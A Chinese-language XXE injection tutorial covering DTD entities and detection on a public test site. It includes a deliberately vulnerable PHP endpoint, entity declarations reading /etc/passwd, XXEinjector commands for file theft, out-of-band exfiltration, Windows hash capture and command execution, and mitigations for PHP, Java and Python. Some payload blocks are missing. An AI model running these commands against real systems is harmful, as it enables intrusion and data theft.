XXE漏洞簡析
XML外部實體註入(XML External Entity Injection)
XML基礎
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型.
是一種允許用戶對自己的標記語言進行定義的源語言。
XML文檔結構包括XML聲明、DTD文檔類型定義、文檔元素。
DTD(文檔類型定義)的作用是定義xml文檔的合法構建模塊。
DTD 可以在 XML 文檔內聲明,也可以外部引用。
PCDATA 指的是被解析的字符數據(Parsed Character Data)
XML解析器通常會解析XML文檔中所有的文本
<message>此文本會被解析</message>
當某個XML元素被解析時,其標簽之間的文本也會被解析:
<name><first>Bill</first><last>Gates</last></name>
內部聲明DTD
<!DOCTYPE 根元素 [元素聲明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM “文件名”>
或者
<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
內部聲明實體
<!ENTITY 實體名稱 “實體的值">
引用外部實體
<!ENTITY 實體名稱 SYSTEM “URI">
或者
<!ENTITY 實體名稱 PUBLIC “public_ID" “URI">
0x01.XML外部實體註入(XML External Entity)
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
引入外部實體方式有多種,比如:
惡意引入外部實體方式1:
XML內容:
一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)
惡意引入外部實體方式2:
XML內容:
DTD文件(evil.dtd)內容:
<!ENTITY wintry SYSTEM “file:///etc/passwd">
惡意引入外部實體方式3:
XML內容:
DTD文件(evil.dtd)內容:
<!ENTITY wintry SYSTEM “file:///etc/passwd">
另外,不同程序支持的協議不一樣,
上圖是默認支持協議,還可以支持其他,如PHP支持的擴展協議有
0x02.XXE危害
主要有兩個
1:讀取任意文件
2:執行系統命令(安裝expect擴展的PHP環境裏才有)
0×03.發現XXE漏洞
尋找那些接受XML作為輸入內容的端點。
訪問演示站點:http://testhtml5.vulnweb.com
用Burp抓包,點擊 ‘Login’下面的 ‘Forgot Password’ 鏈接
觀察應用程序的XML傳輸數據。
請求:
響應:
應用程序正在解析XML內容,接受特定的輸入,然後將其呈現給用戶
修改請求的XML內容,重放
我們在上面的請求中定義了一個名為wintry,值為’www.51xkx.cn’的實體
根據響應報文得知,解析器已經解析了我們發送的XML實體,並將實體內容呈現出來了。
由此,可以確認,這個應用程序存在XXE漏洞。
0×04.進行XXE攻擊
01.讀取任意文件
將test.php放在kali的根目錄(要先確保安裝了php-xml)
service apache2 start –啟動apahce服務
test.php內容如下:
<?php
?
libxml_disable_entity_loader (false);
?
$xmlfile = file_get_contents(‘php://input‘);
?
$dom = new DOMDocument();
?
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?
$creds = simplexml_import_dom($dom);
?
$user = $creds->user;
?
$pass= $creds->pass;
?
echo "You have logged in as user $user";
?
?>
訪問http://192.168.1.114/test.php,用Burp抓包重放
修改數據包添加以下XML代碼:
重放結果如下圖:
成功讀取/etc/passwd
文件
0×05.XXE自動化工具XXEinjector
項目地址
https://github.com/enjoiz/XXEinjector
簡介
XXEinjector是一個使用Ruby編寫的自動化xxe漏洞檢測工具,可以通過給定一個http請求的包,然後設置好好參數就會自動化的進行fuzz,他會通過內置的規則進行自動化的測試,並且還支持二次註入(通過另一個請求觸發漏洞)
參數說明
-
host: 用於反向連接的 IP
-
path: 要讀取的文件或目錄
-
file: 原始有效的請求信息,可以使用 XXEINJECT 來指出 DTD 要註入的位置
-
proxy: 代理服務器
-
oob:使用的協議,支持 http/ftp/gopher
-
phpfilter:使用 PHP filter 對要讀取的內容進行 base64 編碼,解決傳輸文件內容時的編碼問題
使用方法
列 /etc 目錄 通過https:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
二次註入:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
通過http協議暴力枚舉文件:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
直接枚舉:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚舉所有端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
獲取windows hash:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
通過java的jar上傳文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
執行系統命令使用 PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
測試XSLT註入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
記錄請求日誌:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
0×06.防禦XXE攻擊
方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
?
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
?
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
關鍵詞:
<!DOCTYPE和<!ENTITY,SYSTEM
XXE漏洞簡析